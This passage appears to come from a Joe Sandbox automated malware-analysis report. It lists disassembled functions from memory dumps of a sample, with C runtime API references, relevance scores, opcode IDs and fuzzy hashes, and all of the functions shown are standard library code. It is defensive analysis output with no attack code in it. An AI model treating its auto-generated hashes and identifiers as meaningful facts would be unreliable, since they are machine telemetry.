Instruction Fuzzy Hash: BF415E30363E0A8FFBA4EB5CE8A57E472E2F759315F5440A9D819C21D5EA3CD846CB02

Function 000001A266DD9F23 Relevance: 12.6, APIs: 10, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000001A266DD9F51

Part of subcall function 000001A266DD91F7: _errno.LIBCMT ref: 000001A266DD9217

free.LIBCMT ref: 000001A266DD9F66
free.LIBCMT ref: 000001A266DD9F87
free.LIBCMT ref: 000001A266DD9F9C
free.LIBCMT ref: 000001A266DD9FB0
free.LIBCMT ref: 000001A266DD9FBC
free.LIBCMT ref: 000001A266DD9FE7
free.LIBCMT ref: 000001A266DDA008
free.LIBCMT ref: 000001A266DDA021
free.LIBCMT ref: 000001A266DDA052

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: ffa44ddbf60328ce65fabe18aef46d9469618c8337c5389c4653648df4a92024
Instruction ID: 3c39ad769c26c8042b201c6d2c03d390882a27d101537b6d2fc5ebbb8bedcfab
Opcode Fuzzy Hash: ffa44ddbf60328ce65fabe18aef46d9469618c8337c5389c4653648df4a92024
Instruction Fuzzy Hash: 86413E35367A0E8FFBB8FB6CD8A57A832D1F75A311F584128D90AC61D5CA7DC8468702

Function 000001A2671C460C Relevance: 11.6, APIs: 9, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671C46A9

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

malloc.LIBCMT ref: 000001A2671C46B3

Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E84
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E89

malloc.LIBCMT ref: 000001A2671C46BE
free.LIBCMT ref: 000001A2671C487E
free.LIBCMT ref: 000001A2671C4886
free.LIBCMT ref: 000001A2671C488E

Part of subcall function 000001A2671C54F0: malloc.LIBCMT ref: 000001A2671C553A
Part of subcall function 000001A2671C54F0: malloc.LIBCMT ref: 000001A2671C5545
Part of subcall function 000001A2671C54F0: free.LIBCMT ref: 000001A2671C562C
Part of subcall function 000001A2671C54F0: free.LIBCMT ref: 000001A2671C5634

free.LIBCMT ref: 000001A2671C489A
free.LIBCMT ref: 000001A2671C48A7
free.LIBCMT ref: 000001A2671C48B4

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: 39471d8c229b7c76431c36c412b53f87061af154eb870db179a2cbe7dbb1ae91
Instruction ID: a2ab12f57ba4050d87bbfdeb01ffee7048ed3fa2156550385b63a33fcb5ab99c
Opcode Fuzzy Hash: 39471d8c229b7c76431c36c412b53f87061af154eb870db179a2cbe7dbb1ae91
Instruction Fuzzy Hash: B491A73071AB488BD759AA9CA4567F977D1EB86704F54029FDC8EC32C6FE34D8028687

Function 000001A266DC3A53 Relevance: 11.6, APIs: 9, Instructions: 305COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DC3AF0

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

malloc.LIBCMT ref: 000001A266DC3AFA

Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92CB
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92D0

malloc.LIBCMT ref: 000001A266DC3B05
free.LIBCMT ref: 000001A266DC3CC5
free.LIBCMT ref: 000001A266DC3CCD
free.LIBCMT ref: 000001A266DC3CD5

Part of subcall function 000001A266DC4937: malloc.LIBCMT ref: 000001A266DC4981
Part of subcall function 000001A266DC4937: malloc.LIBCMT ref: 000001A266DC498C
Part of subcall function 000001A266DC4937: free.LIBCMT ref: 000001A266DC4A73
Part of subcall function 000001A266DC4937: free.LIBCMT ref: 000001A266DC4A7B

free.LIBCMT ref: 000001A266DC3CE1
free.LIBCMT ref: 000001A266DC3CEE
free.LIBCMT ref: 000001A266DC3CFB

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: 39471d8c229b7c76431c36c412b53f87061af154eb870db179a2cbe7dbb1ae91
Instruction ID: 8268dc4dc9b4b8286c075744cd8c78e441e5bff1436a536748838ab0efb6f058
Opcode Fuzzy Hash: 39471d8c229b7c76431c36c412b53f87061af154eb870db179a2cbe7dbb1ae91
Instruction Fuzzy Hash: 5991B13031AB0C8BE77DAA6C94517F977DAEB86700F55021ED88EC7282DE30DC068687

Function 000001A2671EA6A0 Relevance: 10.6, APIs: 7, Instructions: 108COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A2671EA6D4

Part of subcall function 000001A2671DCD1C: _getptd.LIBCMT ref: 000001A2671DCD32
Part of subcall function 000001A2671DCD1C: __updatetlocinfo.LIBCMT ref: 000001A2671DCD67
Part of subcall function 000001A2671DCD1C: __updatetmbcinfo.LIBCMT ref: 000001A2671DCD8E

_errno.LIBCMT ref: 000001A2671EA6EF
_invalid_parameter_noinfo.LIBCMT ref: 000001A2671EA6FA

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 602c58dfa931d04265b9f61e1030445c9372c81d129f705bf219ab41e4878530
Instruction ID: 376d73875e17304fd7052e14beb1f4584a8fc3f3c1d4531ee09462a8c952da08
Opcode Fuzzy Hash: 602c58dfa931d04265b9f61e1030445c9372c81d129f705bf219ab41e4878530
Instruction Fuzzy Hash: 6D315E3061AA088FD754DF1CA4817AA76F0EB5A350F5107EAE84DC72D2FAB0DC408BC6

Function 000001A2671DA980 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671DA9A6

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA9B2
__crtIsPackagedApp.LIBCMT ref: 000001A2671DA9C3
_dosmaperr.LIBCMT ref: 000001A2671DAA0D

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: d1c11c549347c3122d8922361577001e2f888465cd563e5138a3ee0b631317e7
Instruction ID: 0389be8c1d2cc3aeba34b8b166f94e7eae1ffb676fa3721deeff76f4664e01a4
Opcode Fuzzy Hash: d1c11c549347c3122d8922361577001e2f888465cd563e5138a3ee0b631317e7
Instruction Fuzzy Hash: C4317030716A094FEB58AB6CA8553A976D1FB89315F1446AEE84EC32D5FA38C8418B43

Function 000001A266DD9DC7 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DD9DED

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DD9DF9
__crtIsPackagedApp.LIBCMT ref: 000001A266DD9E0A
_dosmaperr.LIBCMT ref: 000001A266DD9E54

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: d1c11c549347c3122d8922361577001e2f888465cd563e5138a3ee0b631317e7
Instruction ID: dedc31f55826ca73896548b2a7dee1f0f8b12dc9e9d41add13abc63bb82039ad
Opcode Fuzzy Hash: d1c11c549347c3122d8922361577001e2f888465cd563e5138a3ee0b631317e7
Instruction Fuzzy Hash: F431923071AA094FEB6CBB6C94557E976D0FB8A314F14465DE84EC72E2DA39C8418743

Function 000001A2671E50BC Relevance: 10.6, APIs: 7, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E50D5

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__lock_fhandle.LIBCMT ref: 000001A2671E511D
__doserrno.LIBCMT ref: 000001A2671E5152
_errno.LIBCMT ref: 000001A2671E5159
_unlock_fhandle.LIBCMT ref: 000001A2671E5169

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit_unlock_fhandle
String ID:
API String ID: 4120058822-0
Opcode ID: ced18641769c4fb23c2492188aa71c82e4beda33e1c2a591cdd6a1a5daea7b67
Instruction ID: 18e29270f27d43c0cfc0a47e5b54ae50e02fe85ac92a376a671cefee6ad9a244
Opcode Fuzzy Hash: ced18641769c4fb23c2492188aa71c82e4beda33e1c2a591cdd6a1a5daea7b67
Instruction Fuzzy Hash: 0B21AF307076404EE6156BACAC953ED7A91EB87310F050A9EEC1E872D2F6B498818A97

Function 000001A266DE4503 Relevance: 10.6, APIs: 7, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE451C

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__lock_fhandle.LIBCMT ref: 000001A266DE4564
__doserrno.LIBCMT ref: 000001A266DE4599
_errno.LIBCMT ref: 000001A266DE45A0
_unlock_fhandle.LIBCMT ref: 000001A266DE45B0

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit_unlock_fhandle
String ID:
API String ID: 4120058822-0
Opcode ID: ced18641769c4fb23c2492188aa71c82e4beda33e1c2a591cdd6a1a5daea7b67
Instruction ID: 0e33aea124ace8966edd662347d64ba6199081de34a832ff2fd1bdb7e4e36ec2
Opcode Fuzzy Hash: ced18641769c4fb23c2492188aa71c82e4beda33e1c2a591cdd6a1a5daea7b67
Instruction Fuzzy Hash: AC21B071B0BA458EE63D6BEC98953FD76D0AB47314F0506A8E81E872D3DAB4DC0087D2

Function 000001A2671DB680 Relevance: 9.3, APIs: 6, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671DB6BC

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DB6C7
memcpy_s.LIBCMT ref: 000001A2671DB78C
_fileno.LIBCMT ref: 000001A2671DB7F7
_filbuf.LIBCMT ref: 000001A2671DB825
_errno.LIBCMT ref: 000001A2671DB875

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: 1e4724f2f263a6aad0377fa9ea55709c09158a4de02b6a91b67ff228f98f7d3b
Instruction ID: 7a2297c312db9160ff569ce1f2549c54ffb0b2dfe2d34ece9e5af46357ca5eaf
Opcode Fuzzy Hash: 1e4724f2f263a6aad0377fa9ea55709c09158a4de02b6a91b67ff228f98f7d3b
Instruction Fuzzy Hash: 3961A33031BF098BE7785A6C64462B976D1EB96760F5403AFD85FC22D1FA70D8524AC3

Function 000001A2671DB190 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671DB0E7

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DB0F2
_getstream.LIBCMT ref: 000001A2671DB112
_errno.LIBCMT ref: 000001A2671DB124
_errno.LIBCMT ref: 000001A2671DB136
_openfile.LIBCMT ref: 000001A2671DB164

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: 457d979080d458cd54f00145811ffc1307ae8ff1d690a9927f381c48035d797d
Instruction ID: 32af5143934bb6d553f9b83242ad6fb52f97c8cadc2a16c8bd08b66fc107d93b
Opcode Fuzzy Hash: 457d979080d458cd54f00145811ffc1307ae8ff1d690a9927f381c48035d797d
Instruction Fuzzy Hash: A121673071B6498FF7A0AB2C64057A976E1EB9A310F15099BD84EC31D1FE74DC414B97

Function 000001A266DDA5D7 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DDA52E

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_invalid_parameter_noinfo.LIBCMT ref: 000001A266DDA539
_getstream.LIBCMT ref: 000001A266DDA559
_errno.LIBCMT ref: 000001A266DDA56B
_errno.LIBCMT ref: 000001A266DDA57D
_openfile.LIBCMT ref: 000001A266DDA5AB

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: b9d9d14581c2af042b40f412459f9954c49ea5ea5b5e86340372a5678c6a7f0f
Instruction ID: 27319722602c4035a167a18d71a4cf66ef36bae85f55b6ec6c04ad4f664d95ba
Opcode Fuzzy Hash: b9d9d14581c2af042b40f412459f9954c49ea5ea5b5e86340372a5678c6a7f0f
Instruction Fuzzy Hash: 3921817071BA4A4FF7A9BB2C94053B966D1EB9B310F08495AEC8DC32D2DA74CC418393

Function 000001A2671C4170 Relevance: 8.9, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A2671C41BD

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

malloc.LIBCMT ref: 000001A2671C41C8

Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E84
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E89

free.LIBCMT ref: 000001A2671C42AF
free.LIBCMT ref: 000001A2671C42B7
free.LIBCMT ref: 000001A2671C42BF
free.LIBCMT ref: 000001A2671C42CB
free.LIBCMT ref: 000001A2671C42D8

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 0656f76fb824b10b878b9f8901d2f3052cb19af5d53eded87dfcfc27c8c0cb82
Instruction ID: c2980a29896b76c2d27fe5e8aae20ffa5ec0f3216dfb968768fef290b1269245
Opcode Fuzzy Hash: 0656f76fb824b10b878b9f8901d2f3052cb19af5d53eded87dfcfc27c8c0cb82
Instruction Fuzzy Hash: F851943071AE098BE7599B6CB4666F977D1FB4A304F5001AEDC4EC3286FA34D85286C6

Function 000001A266DC35B7 Relevance: 8.9, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001A266DC3604

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

malloc.LIBCMT ref: 000001A266DC360F

Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92CB
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92D0

free.LIBCMT ref: 000001A266DC36F6
free.LIBCMT ref: 000001A266DC36FE
free.LIBCMT ref: 000001A266DC3706
free.LIBCMT ref: 000001A266DC3712
free.LIBCMT ref: 000001A266DC371F

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 0656f76fb824b10b878b9f8901d2f3052cb19af5d53eded87dfcfc27c8c0cb82
Instruction ID: ece8c1b8092b61e6536c3907a03c20acd06a1dff44de7da13e66c90379e5b090
Opcode Fuzzy Hash: 0656f76fb824b10b878b9f8901d2f3052cb19af5d53eded87dfcfc27c8c0cb82
Instruction Fuzzy Hash: 8251903471AE4D8BE76DAA2CD4556BA73D9FB4A304F41012DD84EC3286EA30DC5687C6

Function 000001A266DCBEBB Relevance: 7.8, APIs: 6, Instructions: 289COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001A266DD3243: malloc.LIBCMT ref: 000001A266DD325F

malloc.LIBCMT ref: 000001A266DCBF8B

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

malloc.LIBCMT ref: 000001A266DCC002
_snprintf.LIBCMT ref: 000001A266DCC05B
_snprintf.LIBCMT ref: 000001A266DCC086
_snprintf.LIBCMT ref: 000001A266DCC0AD

Part of subcall function 000001A266DD3B4B: free.LIBCMT ref: 000001A266DD4046
Part of subcall function 000001A266DD3B4B: free.LIBCMT ref: 000001A266DD4058

free.LIBCMT ref: 000001A266DCC1F6

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintffreemalloc$_errno$_callnewh
String ID:
API String ID: 225687405-0
Opcode ID: 21f0a3d78faee6f270c165c3a141f7caedb6dcce450be422ffced7e9f245609f
Instruction ID: d7bb1bc87353cb09829c1958b1f489849919157ff5a793e44ed83292a695c88e
Opcode Fuzzy Hash: 21f0a3d78faee6f270c165c3a141f7caedb6dcce450be422ffced7e9f245609f
Instruction Fuzzy Hash: ECA14D307076088AEB6CBB7D8856BED7296AB9B340F405429ED4EC72D3DE74D9068743

Function 000001A2671CFFF8 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000001A2671D3DFC: malloc.LIBCMT ref: 000001A2671D3E18

Part of subcall function 000001A2671DB190: _errno.LIBCMT ref: 000001A2671DB0E7
Part of subcall function 000001A2671DB190: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DB0F2

fseek.LIBCMT ref: 000001A2671D0094

Part of subcall function 000001A2671DBA14: _errno.LIBCMT ref: 000001A2671DBA3C
Part of subcall function 000001A2671DBA14: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DBA47

_ftelli64.LIBCMT ref: 000001A2671D009C

Part of subcall function 000001A2671DBA88: _errno.LIBCMT ref: 000001A2671DBAA6
Part of subcall function 000001A2671DBA88: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DBAB1

fseek.LIBCMT ref: 000001A2671D00AC

Part of subcall function 000001A2671DBA14: _fseek_nolock.LIBCMT ref: 000001A2671DBA65

malloc.LIBCMT ref: 000001A2671D00EC

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

fclose.LIBCMT ref: 000001A2671D01A9

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$fseekmalloc$_callnewh_fseek_nolock_ftelli64fclose
String ID:
API String ID: 2887643383-0
Opcode ID: b1123569a35033e394d59a8c60f6181598f671d95a04f2d2d239b86950512db0
Instruction ID: 3df6ba208e0d9d773180671bb15f3e0eccee730939953eaae1e7048a3e31f931
Opcode Fuzzy Hash: b1123569a35033e394d59a8c60f6181598f671d95a04f2d2d239b86950512db0
Instruction Fuzzy Hash: EC51773171AA484FE749EB2CA4557E972D1E789700F5042AFE84FC32D7FD3499028A82

Function 000001A266DCF43F Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000001A266DD3243: malloc.LIBCMT ref: 000001A266DD325F

Part of subcall function 000001A266DDA5D7: _errno.LIBCMT ref: 000001A266DDA52E
Part of subcall function 000001A266DDA5D7: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDA539

fseek.LIBCMT ref: 000001A266DCF4DB

Part of subcall function 000001A266DDAE5B: _errno.LIBCMT ref: 000001A266DDAE83
Part of subcall function 000001A266DDAE5B: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDAE8E

_ftelli64.LIBCMT ref: 000001A266DCF4E3

Part of subcall function 000001A266DDAECF: _errno.LIBCMT ref: 000001A266DDAEED
Part of subcall function 000001A266DDAECF: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDAEF8

fseek.LIBCMT ref: 000001A266DCF4F3

Part of subcall function 000001A266DDAE5B: _fseek_nolock.LIBCMT ref: 000001A266DDAEAC

malloc.LIBCMT ref: 000001A266DCF533

Part of subcall function 000001A266DD9237: _FF_MSGBANNER.LIBCMT ref: 000001A266DD9267
Part of subcall function 000001A266DD9237: _NMSG_WRITE.LIBCMT ref: 000001A266DD9271
Part of subcall function 000001A266DD9237: _callnewh.LIBCMT ref: 000001A266DD92A5
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92B0
Part of subcall function 000001A266DD9237: _errno.LIBCMT ref: 000001A266DD92BB

fclose.LIBCMT ref: 000001A266DCF5F0

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$fseekmalloc$_callnewh_fseek_nolock_ftelli64fclose
String ID:
API String ID: 2887643383-0
Opcode ID: b1123569a35033e394d59a8c60f6181598f671d95a04f2d2d239b86950512db0
Instruction ID: cf9cc642fa1283db3e7d81746f829484175055340084d3fdb847aa550eeba10c
Opcode Fuzzy Hash: b1123569a35033e394d59a8c60f6181598f671d95a04f2d2d239b86950512db0
Instruction Fuzzy Hash: 7F518E3171AA484BE76DFB2C94557E972D6EB8A300F50422DE88FC32D6DE34D9028782

Function 000001A2671E4CC8 Relevance: 7.7, APIs: 5, Instructions: 201COMMON

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 000001A2671E4CF5

Part of subcall function 000001A2671DE6F4: _FF_MSGBANNER.LIBCMT ref: 000001A2671DE711
Part of subcall function 000001A2671DE6F4: _NMSG_WRITE.LIBCMT ref: 000001A2671DE71B

_lock.LIBCMT ref: 000001A2671E4D08
_lock.LIBCMT ref: 000001A2671E4D63
_calloc_crt.LIBCMT ref: 000001A2671E4E1A

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _lock$_calloc_crt_mtinitlocknum
String ID:
API String ID: 3962633935-0
Opcode ID: d019f32bbe08e2e61e60159663011ca3b07fdf5e7cbfc497226928eadbc6c020
Instruction ID: 195fee367224bfa0fe92cea5f087c903ee3849d743e9fde4bd943ac1140bba45
Opcode Fuzzy Hash: d019f32bbe08e2e61e60159663011ca3b07fdf5e7cbfc497226928eadbc6c020
Instruction Fuzzy Hash: ED51E57061AA084BE7549F5CE8813A5B3D0FB59310F55469EEC4EC72E6F678D8428BC3

Function 000001A266DE410F Relevance: 7.7, APIs: 5, Instructions: 201COMMON

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 000001A266DE413C

Part of subcall function 000001A266DDDB3B: _FF_MSGBANNER.LIBCMT ref: 000001A266DDDB58
Part of subcall function 000001A266DDDB3B: _NMSG_WRITE.LIBCMT ref: 000001A266DDDB62

_lock.LIBCMT ref: 000001A266DE414F
_lock.LIBCMT ref: 000001A266DE41AA
_calloc_crt.LIBCMT ref: 000001A266DE4261

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _lock$_calloc_crt_mtinitlocknum
String ID:
API String ID: 3962633935-0
Opcode ID: d019f32bbe08e2e61e60159663011ca3b07fdf5e7cbfc497226928eadbc6c020
Instruction ID: 918643a7c468d1d125c0849aca72d4b7253f5dbf96f3c72edf893ec9fb60897b
